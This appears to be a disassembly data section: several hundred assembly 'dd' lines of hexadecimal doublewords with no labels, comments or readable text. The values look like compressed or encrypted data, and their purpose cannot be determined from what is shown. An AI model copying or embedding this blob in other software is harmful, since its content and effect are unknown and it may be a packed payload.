		dd 3F7F497Ch, 799BA301h, 8DA0DE88h, 0C7172180h,	0AD270BB3h
		dd 49CA650Fh, 28E0C731h, 0EBC18872h, 6C4CE834h,	0D33406C6h
		dd 1995479Dh, 6971ED1Dh, 8111AD58h, 7FD60040h, 722703E7h
		dd 520C5DA5h, 20D8C857h
		dd 0DF9703A2h, 0DD8BAE9Ah, 932D76A0h, 6153D00Eh, 89EC0D3h
		dd 7A091A06h, 5EF02CC8h, 50C900F0h, 0AF2CDF66h,	3A74425Ch
		dd 62AE0634h, 4C585EB4h, 0F8073B5Ah, 90013730h,	7A96198Ch
		dd 202BC430h, 0F03DD8DAh, 81B800AFh, 22D1AC18h,	0D92E0169h
		dd 2042283Ah, 2790005Fh, 0E406B757h, 82D7626Fh,	0B2D0089h
		dd 0D36C407Dh, 0A633C5C8h, 0D0856122h, 0EE521Dh, 1F42F4FDh
		dd 0E1B2667Bh, 0E8006377h, 0D639C9F7h, 94F0E0h,	0AD8D5403h
		dd 534F1C73h, 500F49Ah,	369117B5h, 0BA2A447h, 0B9AA7213h
		dd 0FBAB3820h, 0E701B508h, 307C6999h, 5434F0DBh, 0F2B90B43h
		dd 448087AFh, 0C5D72096h, 74A9AE01h, 402B56F3h,	346A3E4h
		dd 49F89161h, 25F86C2Ah, 2F097DA8h, 2B3CE1h, 611857DCh
		dd 0EB603C8h, 788B3EF8h, 0B7FBE090h, 196F7E00h,	0ED8550B2h
		dd 738D5CFAh, 83365500h, 95E3B6CDh, 0E8324100h,	0C194C057h
		dd 4D0802E4h, 2DA044F1h, 0CB6411E0h, 72007479h,	95942F17h
		dd 23E184h, 73E51966h, 3CEEB20Ah, 7D28A100h, 1A4C57ECh
		dd 0C1C503F4h, 0A64AC946h, 27621290h, 2C387400h, 5C0497FDh
		dd 0D1D500C7h, 52F0EE9Fh, 348FA91h, 0B7170743h,	0C380DC8Ah
		dd 984269h, 0E47FD278h,	0FD3238E8h, 640309B8h, 26E3A1E2h
		dd 0C98800F2h, 79BF59F9h, 4C905BACh, 0E18A9A00h, 0DFCD36D0h
		dd 62920043h, 3DA734CCh, 290156B2h, 0BE230560h,	70E8F265h
		dd 0A2A009Bh, 0DFCFB04Dh, 51E1874h, 1F9F50F6h, 930FB9D6h
		dd 437160A6h, 3684DEh, 0EAD65A62h, 0F6EFB185h, 0A8E39113h
		dd 783C49h, 3F4CDD7Ch, 0E89A0075h, 1CD36A6Dh, 1D7EC985h
		dd 0CFA51700h, 0BB0D79E3h, 3F38009Ch, 51D02001h, 0E7E48191h
		dd 0D4FCAF75h, 0BA33CA01h, 460A8337h, 0CF51C7C4h, 0D840B329h
		dd 3D05116Ch, 9D317300h, 49323628h, 0ADF82216h,	0BDB7E700h
		dd 57BA976Dh, 0B9766Fh,	99F2B349h, 44C50365h, 700DC9Ah
		dd 0E127B61Ch, 131787Ah, 0D83C64E0h, 2051A0A5h,	6B00D9ACh
		dd 0CFE9959Bh, 63A18Fh,	96865072h, 2E9829DCh, 56820E17h
		dd 13618D00h, 3BFDC6BAh, 0AC8084AAh, 8658F6A4h,	8504B65Fh
		dd 0C7937B32h, 33488B0h, 0E9248AB0h, 70EFDEA7h,	694647C8h
		dd 53BB2D00h, 0D8F04929h, 5F9400F6h, 0EA5D0AFBh, 4F0B8819h
		dd 300118h, 8AE943E0h, 0A85400B1h, 0BF94F2E5h, 0FF0063B3h
		dd 6B9B8B2Fh, 73346450h, 7A6C0009h, 4652730Dh, 80003A54h
		dd 1DE45860h, 780A7413h, 0BDC61FDAh, 712804Eh, 3845EE5Bh
		dd 0B3EA1F00h, 0BFF2EDFFh, 4061EFC1h, 70BF3FCh,	349F939Ch
		dd 543DF0F7h, 19004C58h, 41B0BBEBh, 0E64168Ah, 0CAE80ED1h
		dd 3B48B160h, 6D2CDBE7h, 0D4004889h, 0E345FBCBh, 41BA2C8Fh
		dd 56260240h, 3C1C1955h, 0DC8328D1h, 0F15EB26Dh, 0ABA3D800h
		dd 0FA1F6190h, 627E004Dh, 0E72501ADh, 32047A27h, 0E49AFB66h
		dd 7815C0B0h, 5F10004Fh, 56AB60B2h, 0AD1DC909h,	8E400E49h
		dd 28E298E1h, 0E8E4607Ch, 0A6EB7095h, 250024FCh, 141F1BAh
		dd 0E23A450h, 118771CEh, 0A8A0C58Bh, 0AA1275Ah,	0F211C660h
		dd 67BF2BB0h, 0E0BBC028h, 0FDE2217Bh, 84B8A377h, 80C77C3Bh
		dd 9C14B709h, 0E695C5h,	0EACBE976h, 0BF462FD1h,	2CAB20C0h
		dd 0CE6B4814h, 22F7458h, 9112F4Ch, 13289100h, 10A6FAB5h
		dd 1D6F00EDh, 254027D8h, 8A0072D1h, 39C48992h, 0CE55B9BCh
		dd 0E8800639h, 0FB2CD8E7h, 0FF00F4B8h, 0DCE7FBFh, 0E0F9DBh
		dd 0AF974687h, 4D80F058h, 1BAEE200h, 0B9B8EB2Ch, 7C8E00B6h
		dd 0AD16AF5Bh, 0ECE935C5h, 0D006619h, 0FD15FEC4h, 309AA0C0h
		dd 0C2600818h, 4E4E3E02h, 5AA15800h, 30788C60h,	4820C8F2h
		dd 197D5FC5h, 6A54EF00h, 0A88E11D6h, 0A6E6C0h, 2ED3B34Eh
		dd 0E5D2F82Ah, 646FC00h, 0DF95E983h, 58B20Bh, 75E1EEC7h
		dd 2EADF7C9h, 918E3C00h, 33691A5Fh, 5C9F58A9h, 0CF900271h
		dd 0E5A6F25Dh, 1109D380h, 36029C0Fh, 182E17EFh,	0AA70E043h
		dd 6AA00492h, 0C783CE32h, 49F2610Ch, 0DD3960B4h, 44566300h
		dd 0EA48D95Bh, 39206BC6h, 73CAE400h, 0EF3812B7h, 0D92DFDh
		dd 50B9E844h, 3DD000D6h, 5AE04E13h, 0E3095571h,	0E09F0B90h
		dd 0F62E583Ch, 47FA0B56h, 0EC258D35h, 47941305h, 0F0ABACECh
		dd 0F7713AB7h, 0F09E4100h, 4BCFE49Fh, 0C28C004h, 32C2D1DBh
		dd 7110C560h, 3CDD0DC1h, 0DF00B519h, 0C29E1718h, 359841A8h
		dd 8B359828h, 0E0F88000h, 0EBB3DAF7h, 0D68D06BEh, 497AAEFDh
		dd 0EC52CE0Ah, 7E00F868h, 7D456FA6h, 84C009DAh,	8C40B3A8h
		dd 7F1F9EF2h, 649C4DFDh, 44F0AE40h, 1B41609h, 1E70CF9h
		dd 0E98067EEh, 7D588306h, 0D9434594h, 0D44091A5h, 5D55FAFh
		dd 81D69D7Ch, 1EC0122Ch, 266D46BCh, 5200102Dh, 850914BDh
		dd 3906E9DCh, 0AD8083F5h, 0E56F783Dh, 0E63B4A62h, 0FE08804Bh
		dd 534993C5h, 6560C096h, 12C8EE3Ch, 0BFD73E01h,	0BAC3172Bh
		dd 26D1830h, 298A7A4Bh,	862E602h, 0CD88A100h, 0EB4937A4h
		dd 7E6700ECh, 0BFAACA3Dh, 1595038Dh, 0A125CB1Bh, 0A030BDD8h
		dd 2FE4E700h, 74368C0Fh, 0C74D1758h, 89D00371h,	0F4907638h
		dd 801C0372h, 2A537922h, 92A2C880h, 3024138Fh, 834C02F3h
		dd 0F702E58Eh, 0CEFF6077h, 0DCCA004Ch, 71120BF5h, 79F4953Fh
		dd 38F07548h, 0F9EA8036h, 91F1676Bh, 964A0033h,	89698CD6h
		dd 36000C13h, 0E3043551h, 77EC35Dh, 0B76D270h, 84F49321h
		dd 0E88048C6h, 910B7BCFh, 1862C4D6h, 3B2F314h, 0DB98711Ah
		dd 80948E84h, 0C1480104h, 0BE08FB00h, 0A422E537h, 43790029h
		dd 215E6CB9h, 0B4007B24h, 71A1E8D0h, 2FACE7h, 0BA01B880h
		dd 8A4FC182h, 0C7FC1170h, 293A7C92h, 38620B2h, 7047156Ah
		dd 93E06014h, 200065B4h, 1F88DF25h, 9CD61C03h, 0A8917700h
		dd 0C77D1C80h, 0E0FB2A1h, 0A0446D06h, 0E3E26684h, 3CEF0005h
		dd 539621A2h, 0A39BC97h, 16B2072Eh, 212DF24h, 4900407Ah
		dd 40C25B77h, 37239080h, 3E3D7803h, 9272BBC8h, 180064C1h
		dd 4189263h, 753424A0h,	0FEA5006Eh, 0AC030B3h, 0CCBB0102h
		dd 40DA8B4Ah, 0F9CF018h, 0CF533281h, 65B4C0F6h,	361ED16Ch
		dd 0C783798Dh, 0B0641463h, 901DADE4h, 27420068h, 85E30F54h
		dd 0EF13519Ch, 0E0076C47h, 0B4D0831Eh, 0C35CB024h, 0DD2D2290h
		dd 890997C0h, 480708F0h, 907BAB95h, 0D89580C4h,	137C5500h
		dd 4C8D4177h, 6324DDE3h, 27F803A7h, 6DC01073h, 3000A939h
		dd 0DAEBBC09h, 2D8F475Ch, 2800148Dh, 0E6D57246h, 0A301E279h
		dd 0D09B73B3h, 0D980588Ch, 0F27726E9h, 0E2009545h, 41EB2164h
		dd 3C1482C3h, 5F801297h, 0EC807301h, 6E3D7804h,	0C9D600D8h
		dd 0A7E5C87Ah, 48252498h, 8EE91CBCh, 4E4086C3h,	0B24430A3h
		dd 0EB59770Eh, 49E2616Ch, 0A4484CF4h, 0A48726C5h, 8B99003Ch
		dd 47912EAh, 0A2FE3400h, 0DF9DF90h, 275B009Fh, 31521B56h
		dd 0BD00D048h, 0EAD2D570h, 4F835h, 14980D4Bh, 61B9D6D9h
		dd 0A8EEE51Fh, 115EC5C0h, 1A2864h, 0EF8ACAA7h, 0C3E573CEh
		dd 0F2FA9500h, 2655AF1Eh, 1B3600EDh, 52624AC6h,	0DD1F88B4h
		dd 0D78EBE1Ah, 918F80E6h, 0FFDA9D5h, 0DEA1BD11h, 7EA0E5AFh
		dd 24DC9D8Ah, 0C40087ECh, 0A0A47F41h, 480AEEF5h, 6F15A206h
		dd 7E00B413h, 5FD3CAC7h, 0E4B19E76h, 3566FF00h,	0F67219Ah
		dd 6C379953h, 30228E20h, 0E00935Dh, 0F1CC4C32h,	70C04039h
		dd 0BF5900EDh, 5EB3649Bh
		dd 0FE2C5355h, 8504E088h, 74D0BC4Bh, 16DECCDh, 7689A603h
		dd 807F44E2h, 0DE802D18h, 28CE2EB3h, 281842CBh,	7241655h
		dd 41DD8D95h, 4DDC50B3h, 8B006537h, 2CAE79E8h, 7808DED0h
		dd 66D9C57Eh, 0E1FCF1E6h, 0BD708001h, 263CD9C3h, 888EBF9Dh
		dd 9018830Ah, 0F60386BFh, 0A5F73AA0h, 0A2017A05h, 0FF440AEAh
		dd 7BE9014h, 0C2388361h, 791A4260h, 0DAA0009Fh,	936BFC2Ch
		dd 0B900F782h, 817E151Ch, 4CEADFh, 0B7024183h, 403D4568h
		dd 887F9100h, 786F3401h, 47420019h, 52670C2Fh, 0ED076813h
		dd 6951663Ah, 0A2E96510h, 3C5317E1h, 472B0006h,	2118C6FDh
		dd 1600ECB8h, 20F5BA6Ah, 7B6564Dh, 0ACF44835h, 3C7E2001h
		dd 54E4F685h, 0D4611915h, 23F401B4h, 8F9C7514h,	0E342FCh
		dd 0FF0C4434h, 55498DB4h, 0DB6E2517h, 739A7800h, 0B8390E38h
		dd 3D7514D0h, 0D70024FDh, 0FFE9D920h, 954612h, 0AB41BEC4h
		dd 60150008h, 8934936Ah, 0C9014570h, 0CB032CA7h, 92F48D4Dh
		dd 252F3096h, 24177310h, 0EA8ED315h, 0CD748D0h,	201DE2F0h
		dd 9D060064h, 0D120D8DBh, 4506BEF7h, 0EEB9B38Eh, 0BF500131h
		dd 0FA9E14DDh, 0B0DAE8D8h, 80FB5F3Fh, 66D35881h, 6996F9Ch
		dd 0D8C184F8h, 0E50A396Eh, 68D556CBh, 0E8376A0Dh, 7CC01CF1h
		dd 581F1850h, 86F021DCh, 0ADCD1707h, 3150033Bh,	0F8C624h
		dd 4A745220h, 0E44B2D0Eh, 0BE1E5600h, 0CD668D49h, 877B89h
		dd 0B7B169E1h, 4078AC7h, 128E130Eh, 7DBC834Eh, 4114310h
		dd 0CE9167A0h, 88AD10C0h, 139A2CAh, 6FC01DF2h, 0FC697D90h
		dd 8200EAD6h, 234B0C2Dh, 0FFEFAh, 786144CFh, 0DA1492F0h
		dd 27034000h, 4651DC38h, 0FE050FECh, 4240212Ah,	806487A9h
		dd 6C413900h, 0A3697040h, 295800E6h, 26F10E88h,	23079ABFh
		dd 8F73A57Dh, 44838AB0h, 2C02E63Fh, 34B77E0h, 527DB75Bh
		dd 0AD284101h, 0EAAB781Fh, 7AA2F8h, 0DA02991Ah,	8C247945h
		dd 422EC0F8h, 0DD0072EDh, 2F1AC129h, 8EE50050h,	0B3FAF881h
		dd 9D7557D0h, 89139500h, 93676315h, 0B7760042h,	7308C2A8h
		dd 6A001781h, 15C3EDD1h, 3950Ch, 79F86441h, 60A8EAF3h
		dd 0A600F474h, 0CC9D7D76h, 0E5E8D78h, 0CBED670Bh, 50F845E7h
		dd 0DEA3174Fh, 0F86EF5A1h, 0D300F0BFh, 0B5112671h, 1236089Ch
		dd 18C853D6h, 0D0BC31CAh, 73DA4E00h, 25F35CFDh,	0D81150A3h
		dd 7A2B001Ah, 608340B0h, 4874C603h, 1D574Ch, 0EB91C88Ah
		dd 0D2149Bh, 4DA041E0h,	0D977341Ch, 0BDCB751Fh,	0B53DD440h
		dd 0E7957Ah, 0E5FACA1Ah, 4A8FF853h, 0CF4E9E00h,	1DF3E0C8h
		dd 189212h, 568CE42Eh, 43B9DE46h, 0B8D73D00h, 0DABD166Eh
		dd 256A0092h, 4479ABAFh, 0F614B3DFh, 90E6F8h, 0D6E88D57h
		dd 3905F235h, 36008F79h, 1B93243Bh, 4C2877ADh, 4203ECDFh
		dd 804E967Bh, 0D36ED037h, 9011008Ch, 990E54E4h,	0D900CE44h
		dd 0F398EA21h, 0A87D8h,	3388C10Dh, 0D3E7D777h, 7DF6C23Ch
		dd 0E663D500h, 75E223A3h, 0DE8B0016h, 0C4D3935Eh, 3612B06Fh
		dd 840613EDh, 7B7181DCh, 72700097h, 7F8B906Bh, 81B8F2D8h
		dd 45FBA080h, 0CF2D1100h, 19AB078Eh, 50900EF7h,	6D805171h
		dd 4E0FF604h, 8EE54A3Ch, 0E0073989h, 157DB31Ch,	0CB6D0443h
		dd 8026B035h, 787E433h,	70564400h, 0A6310F06h, 609800B1h
		dd 7874EDFAh, 0A300A0FEh, 8E1E773Eh, 0E97F5Ch, 0FAF3AC50h
		dd 2F58DCA2h, 0BEDB8302h, 8803CB84h, 6403D4ACh,	8844BADDh
		dd 1C163224h, 6A4ACF7Fh, 0BD42B4h, 0B78F3C35h, 57D8F6h
		dd 0D15ABC58h, 0E81D9CEEh, 16C21400h, 92C3E6EAh, 379A0045h
		dd 0CCECA3EFh, 0A500FBEEh, 8FCDD407h, 519F4E98h, 77ECDD99h
		dd 45BC004Dh, 0B2562221h, 0EE502A80h, 0D5E05FA0h, 3005CF4h
		dd 0D63C0DC1h, 0FA4A8D8Ah, 0E2873ADAh, 0CFA3D701h, 0F86746D4h
		dd 8C031B2Bh, 0B1993B38h, 13E1008Fh, 0FE3E8053h, 0B0007904h
		dd 0DA0B57CBh, 430F58h,	0AA2EC6D1h, 8C509A21h, 3D3AAC3Fh
		dd 7A1B8067h, 6F3C4A2Ch, 0D2E307A8h, 7BA310h, 0D1A9F407h
		dd 63033A1Dh, 870D9780h, 0E9C23h, 0F73F2AB2h, 0C3FEAAFCh
		dd 0F1AE5900h, 0ED0688DDh, 0ADF92842h, 913F00ABh, 0F8E42394h
		dd 18F678F1h, 0DA9C9E0Fh, 0F34A8099h, 877DEEh, 387B7744h
		dd 60C562FDh, 0DCEA1900h, 298ED721h, 0B8862CE2h, 7F60011h
		dd 6597FBBEh, 0D0F89060h, 719371Fh, 62982AEDh, 0BFA9108Ah
		dd 8300AAF1h, 25BA05C2h, 12C63Ah, 0E52C21A1h, 5558752Eh
		dd 0FC8B5728h, 3105F700h, 0BDEAAECFh, 0DC6105A8h, 114EF54h
		dd 79F9AC84h, 4DE5D004h, 0F7524700h, 897862D7h,	6D714Ah
		dd 0DA97A7AAh, 7C58FED0h, 5B6E2300h, 484F327Dh,	8433D4Ah
		dd 82F43600h, 0A21B88B6h, 2A2DA601h, 0F04F09BCh, 963FCCh
		dd 239EF250h, 0E3FEAE35h, 727838h, 954ADA92h, 3B0C9BDFh
		dd 784D13DBh, 0ABFDB002h, 0A7C108EFh, 1E914032h, 0FCE785D2h
		dd 75006E94h, 450AE388h, 0EB3BF1Dh, 477F974Fh, 0A6B07C20h
		dd 58001968h, 6283254Dh, 0B6EC172h, 0AA9FAACh, 0F16BF080h
		dd 380091BBh, 0E8972369h, 1AD0E99h, 0DD58C951h,	3074C796h
		dd 0E10008F3h, 34A7431Dh, 9B41329h, 61F8249Ah, 0AE45020h
		dd 0F0A644Eh, 0B4793415h, 7E27AF03h, 0A752C02Dh, 94A0078h
		dd 0BA1526F3h, 0B600E006h, 836F89CEh, 90D43934h, 732E00FAh
		dd 0A853511Bh, 0E700E0B1h, 0F72224CEh, 0C02793BDh, 0C0ED6958h
		dd 8D03EFF6h, 0C1B99F23h, 0D1DD98F3h, 73A2001Eh, 163BA9A3h
		dd 0D700185Fh, 0B9ECC323h, 1F0D94A4h, 0BF425Ch,	3A335B51h
		dd 5E005D8Fh, 0CEFD2F31h, 58AE8159h, 0F1B01863h, 0AC00A29Fh
		dd 887C221Ah, 0FCFA4565h, 4D05009Bh, 0BA39E7F5h, 8E1E3310h
		dd 0BD5C5CF0h, 0E33B1A40h, 431B27h, 0CCE71DD4h,	0A8CA07D9h
		dd 0B0D76707h, 83303A63h, 7E44579Ch, 1BB021h, 2C6FC342h
		dd 3894BDAAh, 0F18ECE00h, 655217A8h, 0F28E240h,	0F9B61A42h
		dd 3B5EA560h, 0C90E0492h, 0A94C5Ah, 0F14043B7h,	5EE3A005h
		dd 185D603Dh, 59763AB2h, 0D6150300h, 0DB1A01AAh, 0D4E2013Eh
		dd 4E5597E9h, 4026E052h, 330EBF16h, 3198FC01h, 32C46CB6h
		dd 0F3B90013h, 0EFEB1D1Eh, 80E94752h, 0F89AC78Ch, 94119Bh
		dd 0AD15604h, 3AE09160h, 0F930E90Fh, 63868E8Dh,	80662BB2h
		dd 0B4FA57Eh, 0C60802C7h, 70BF4C27h, 3589E58Ch,	0DD0E4571h
		dd 814755B9h, 0E24A32B8h, 0FFC3CFCh, 226AA6AEh,	37658BE0h
		dd 9400AAB4h, 0BA5E734h, 0F6D7BF45h, 0DAC30069h, 8A655038h
		dd 0ECB02572h, 782F493Bh, 8F78F719h, 82F93710h,	3321F3F1h
		dd 8D8E8887h, 840D67E9h, 3EF5832Ch, 1DE759A0h, 0D8D1C00Fh
		dd 2DAC8095h, 7C3B4357h, 0D480005Fh, 92AB36CCh,	33779E4Dh
		dd 0DC90C900h, 0E8DDAE96h, 6D380032h, 0E1E0E991h, 47702428h
		dd 12575818h, 61529260h, 78828126h, 0FC44752Bh,	4A1C9386h
		dd 55C047F6h, 2C76365Bh, 63E7FC5Ah, 0A31230CDh,	9298C81Eh
		dd 0A0919Eh, 0FB4A7567h, 3D14B235h, 0BB7EF800h,	1E0E5533h
		dd 64F6037Fh, 128D0813h, 882EEC90h, 0BD6E1400h,	0DA0C3FA0h
		dd 1D8401A2h, 0DAF80BBh, 35807EB2h, 67CCC4h, 0C56F9DFAh
		dd 4291064Bh, 4EDA6E0Bh, 0A4DEEFh, 33CB6110h, 8E01B7B8h
		dd 0C956ED8Fh, 0B18012EBh, 0C1F437C0h, 98840AB3h, 49B600ABh
		dd 7D2CBFFh, 0E8C09B8Ch, 9280AAADh, 0C0D6E84Fh,	29B19340h
		dd 52750FEEh, 5C3BAEFAh
		dd 0D305802Bh, 0E90BCE84h, 8A0A828h, 671B3C15h,	4896100h
		dd 0A360C381h, 3ED52200h, 360FF44Bh, 0C253E2Ah,	106C3C78h
		dd 41F3AF07h, 0F2720B6h, 597721E6h, 0EF202900h,	90FAA8D6h
		dd 91260067h, 1BBFD7DDh, 3F180815h, 9379174Dh, 0EAD61849h
		dd 67521114h, 0CC4648h,	7806CA8h, 7C6B4159h, 0A4F300FAh
		dd 0DA6A35ECh, 5500D547h, 0F5E1E680h, 81682Bh, 84403949h
		dd 7A8DD8C7h, 0E6BDD700h, 685A97CCh, 311600FBh,	77AF5EFCh
		dd 663E1D9Eh, 7A100059h, 0C8D64035h, 808B0F86h,	0A40736C7h
		dd 0F5FBD043h, 1C181989h, 0A6088A02h, 0C420C0C8h, 3EA57A58h
		dd 0EEFC344Eh, 0A7AC3D00h, 8F23E224h, 607B7931h, 15F05D49h
		dd 36AF375Fh, 0B34380A1h, 11C02390h, 413FFB16h,	9F2706BCh
		dd 8DFB5DCh, 0F521C861h, 0FED84413h, 770DF03Fh,	0AF600364h
		dd 51859EBDh, 0ED106873h, 606433D5h, 3FFA60AEh,	0EFBC0856h
		dd 1B44DF9Eh, 4412E440h, 0A87310B3h, 0C6ACF40Fh, 8EB8272Ah
		dd 5D37BC60h, 0EB810047h, 35117C3Ch, 8A30FA59h,	754610FFh
		dd 0CA4F0084h, 6C1B0BD2h, 180EF79Ch, 27C6A652h,	33E0F268h
		dd 0AB5B46h, 4F7F6C6Fh,	616AA1E2h, 76678AA0h, 0DF31EB0Fh
		dd 3D113A22h, 0FB98BF04h, 465B102Ah, 0F6EE3B00h, 0ADA58FBEh
		dd 7052EC6Bh, 0CE510353h, 6FB1DFD5h, 0C2BDB8C0h, 1D0058EEh
		dd 4CE57B63h, 952914h, 75BBB9DEh, 0E666D049h, 51A19701h
		dd 72F240Ch, 791BF0h, 0C627BB38h, 0E7F0C5ACh, 2DB3EF00h
		dd 5B3D4CD0h, 21950072h, 170B4DCAh, 1100BA58h, 0C7DD8115h
		dd 0FCD0E76Ch, 0FDDB00AAh, 214E8246h, 2005FF9Ch, 0F74A1559h
		dd 0E26511C0h, 6E7600C3h, 1FA65B05h, 21E5C532h,	0C9A800F0h
		dd 860F6631h, 20676E9Ch, 0AFE5F76Ah, 0A2B8F6h, 4B78AC95h
		dd 3F5816EBh, 3B00D37Eh, 53E0330Ch, 0E2F059Eh, 0B7A7B371h
		dd 0E1622980h, 900FE74h, 0BF6530A0h, 39F0B5h, 3CF3D585h
		dd 955E98A4h, 0CCF9B107h, 4B6003C3h, 0F75167Eh,	0E530FB5Fh
		dd 0A2C48201h, 0F2C0E893h, 0BD778500h, 8837DB72h, 2CED01E9h
		dd 0B2DAB65h, 0E135F882h, 74DADD00h, 603629C1h,	3A0D2A96h
		dd 0A87DECh, 0C3571A56h, 819225F5h, 0F0D51900h,	16A9BF78h
		dd 0CA7239AEh, 0F8603D7Fh, 29027D00h, 755ABA11h, 57407900h
		dd 35E67B9Bh, 7D1F4842h, 9E1C5224h, 0D828099h, 5123F73Ch
		dd 5069731Dh, 18496E00h, 7EA59385h, 90C0077Bh, 0B1F1A684h
		dd 0F4461370h, 0EB00CACFh, 0EE0CAC74h, 0E50434h, 0CB6879A4h
		dd 0D0F65067h, 7B38F500h, 596F584Fh, 0C0AE0090h, 8AABB2BAh
		dd 0D750F096h, 0CA0036CCh, 4C79CC2h, 0E6FBDDh, 70513B4Eh
		dd 4C77138Fh, 78249300h, 0EA64BB42h, 0D6850320h, 86DCBA43h
		dd 80D80499h, 0E774A48h, 3A1782h, 0B79D9FF0h, 453E4CCDh
		dd 180912EEh, 25135F81h, 5C00AA98h, 5208F411h, 631E3A7Fh
		dd 9C3CFE81h, 0F0CCCF92h, 2001886h, 96194123h, 0BA9F88h
		dd 52D1EB6h, 0EFD7C733h, 70D4CC00h, 0C1650ACh, 601076C6h
		dd 2E32A8CFh, 9B0006E4h, 0C291288Ah, 78FD72Ch, 2B72AAC8h
		dd 3B0D0312h, 937103D0h, 31CA3Ah, 1A642553h, 567E81h, 3B44614Ah
		dd 2EA06BB2h, 415017FAh, 0F3319E0h, 0A00DF080h,	0CC3CF5h
		dd 7FB5DAEFh, 0BF701BD0h, 15D6E500h, 13BCD375h,	0FF8F003Bh
		dd 0A1CB4A2Ah, 95076FE0h, 75CF3EEDh, 879E6ED0h,	48B7F25h
		dd 0DB4C3C7Eh, 0BC808136h, 5CC4C8FDh, 0ACA4C050h, 0F156744h
		dd 4F21EF25h, 5C0AF480h, 9F07CDECh, 613065E4h, 3F87A920h
		dd 26FE5844h, 0AEB55503h, 0DBD80289h, 5107FF3Eh, 9C600FD0h
		dd 0DDB64950h, 5F7700D3h, 355BBB1Ah, 9F006C0Ah,	0B370A589h
		dd 30B164D8h, 0A8306B7Eh, 8A387D5Dh, 0C09700B4h, 0DFD77F7Ah
		dd 41A36013h, 8840EEC9h, 173B720Ch, 7D3980h, 0EA4E54A5h
		dd 40F09852h, 19319361h, 61CC4ADEh, 0BCED1071h,	1137006Ch
		dd 9A1CD70Dh, 0FB12003Ah, 0CDF5396Dh, 5F7E8C44h, 7F3EC500h
		dd 0ED139DC9h, 414A00B9h, 42A763ECh, 26047088h,	0E0AB4D5Ch
		dd 0A041EEBCh, 82930h, 0F214737Ah, 685E2FBCh, 0BA360A00h
		dd 0DF1E0B83h, 81010059h, 787AE2DBh, 140341D0h,	3A7271Bh
		dd 8B1AC81Eh, 2F8A0019h, 2802B8A6h, 38C0E731h, 0F0C73CCEh
		dd 8E2B03EBh, 30A1C225h, 0C59905D0h, 2CE04554h,	0F3164A01h
		dd 0E11AAE26h, 28BA52C0h, 0FC184Bh, 0FF7C06A3h,	9DA82584h
		dd 2B74D51Dh, 28C22780h, 0EE6D37h, 0A9853DB2h, 6FDBF0F2h
		dd 614C2B03h, 0B1A821E9h, 3D06871h, 30561E49h, 0A0862836h
		dd 0F83F18D5h, 0D7DB003Ch, 8228C74h, 8FB075F7h,	84C4EA0Fh
		dd 5980DCB8h, 982CFDE0h, 107D00CAh, 0C84099ECh,	6B0587E8h
		dd 549F2508h, 0CC75A800h, 4D2AAAh, 49342B82h, 1F239A70h
		dd 3E6F94Ch, 0DFF3FB51h, 7386D806h, 548E002Eh, 852BD782h
		dd 0CA00EAC9h, 0DD84ED59h, 0BAAE1Ah, 2328AA5Bh,	0FFBE4E42h
		dd 3ADA3100h, 77EBB276h, 278F00E8h, 0CE82C5DFh,	0C1E432B9h
		dd 973B3A00h, 86D14062h, 7D740443h, 803F345Ah, 0E892B430h
		dd 8084292Fh, 54738562h, 2AE600F8h, 3ED604E2h, 0D10016F1h
		dd 0D9A00E58h, 186053h,	0EC0F86BCh, 492320B9h, 4D382C00h
		dd 526430D7h, 8144066Bh, 70A6507Dh, 48DB1102h, 4069159Dh
		dd 41C460h, 394F3121h, 12A8864Ah, 0D4807D00h, 6802FF1Bh
		dd 0FEC2093Dh, 0CD84289Bh, 0EE1DC101h, 0DDAFC8EAh, 9C0030EEh
		dd 2C8A8D4Ah, 7E5DF0h, 40AE93B7h, 6695983Dh, 5B277807h
		dd 593047C8h, 38ADD55h,	0FD207BE8h, 14F0C15Dh, 22E41249h
		dd 3D7CFC3Bh, 64DD00C9h, 93FBBAB6h, 67E01CCCh, 0B94A80D9h
		dd 757A7451h, 0C4DF5400h, 5D52D27Eh, 4FD70B25h,	49001B3Eh
		dd 29465A97h, 3D73E375h, 7B267178h, 351FBF7Ch, 0BCAB3100h
		dd 5F91BAh, 48CCC40Bh, 0D1A6C6A1h, 0A0CE9EEh, 78C561F5h
		dd 6F9F03A7h, 2CDEB9E1h, 38F7EDD8h, 0B063EE2Eh,	2E08680h
		dd 0CF49Bh, 0F3F19544h,	0F5ED605Eh, 0BF004EF0h,	0BE4846FAh
		dd 4A1603h, 8FECFD0Bh, 0BC172A08h, 0CBEEF200h, 0E8F8DBA4h
		dd 0E94706CEh, 616293B4h, 0CC565D2Ch, 3328D680h, 0E878E01Ah
		dd 85C5DDEh, 4811DC30h,	80836D03h, 0FEBA4609h, 58690044h
		dd 9D428E82h, 0A0007801h, 55129610h, 799ED4h, 0E7AB384Bh
		dd 0FFE68BC8h, 96005A7Ch, 9A7761Ah, 0C0673195h,	443BC180h
		dd 350262E8h, 86DE9C24h, 16071875h, 3AB02900h, 5FB60B35h
		dd 937F26D4h, 94EE9D28h, 0A060645Ch, 817721Ah, 68D81814h
		dd 0D1162E14h, 443C2C01h, 0E1C4959Dh, 0D7E400A2h, 25F8905Dh
		dd 7A00A855h, 73AAE0BFh, 986364h, 0E4A9C756h, 0FEC05DE3h
		dd 8059EA3Eh, 0F8308F71h, 0B5A62Bh, 0BEF54C69h,	41922617h
		dd 38B20100h, 0A5F67380h, 0CB2200BDh, 953979CDh, 0B7003159h
		dd 3B91281h, 9D6C2Ch, 0B8FCB22Dh, 30F8AF28h, 80D0C238h
		dd 6217542h, 627C64h, 2EA96AB0h, 0FC554E82h, 0FB0F97FAh
		dd 60A35E11h, 8848EBA7h, 9A6A248Ah, 776100D5h, 4E5FEDDFh
		dd 0BBC1D601h, 0C6F91952h, 392A6FE4h, 0C789BD3Ah, 2A089733h
		dd 660280A0h, 59A582A8h, 96FD4400h, 0C3774D78h,	0F9450334h
		dd 19633F71h, 50368989h, 25E8B8ACh, 0F9786900h,	0DCA44167h
		dd 385501AFh, 0FD94D80Dh, 6C2886F5h, 756957D5h,	0A7A21EAEh
		dd 0C1258255h, 0FA6011F8h, 0F4B228E1h, 0BBF1E00h, 0DC2090FBh
		dd 0E79B00DEh
		dd 0EF0DCFA3h, 14A08972h, 0D9F4910Ch, 63F3C600h, 0F95FFEE9h
		dd 6F980089h, 29D61CA9h, 4A9888B3h, 0BD48718h, 0F42339h
		dd 454CDAC9h, 0EE343BB1h, 68AF5E06h, 780C29h, 95A0F63Ah
		dd 1E45B954h, 0D3A9B102h, 80766E87h, 3C57BE68h,	935E0074h
		dd 0E65A66EFh, 3D2BFE69h, 435104D1h, 46B1C44h, 65B460ADh
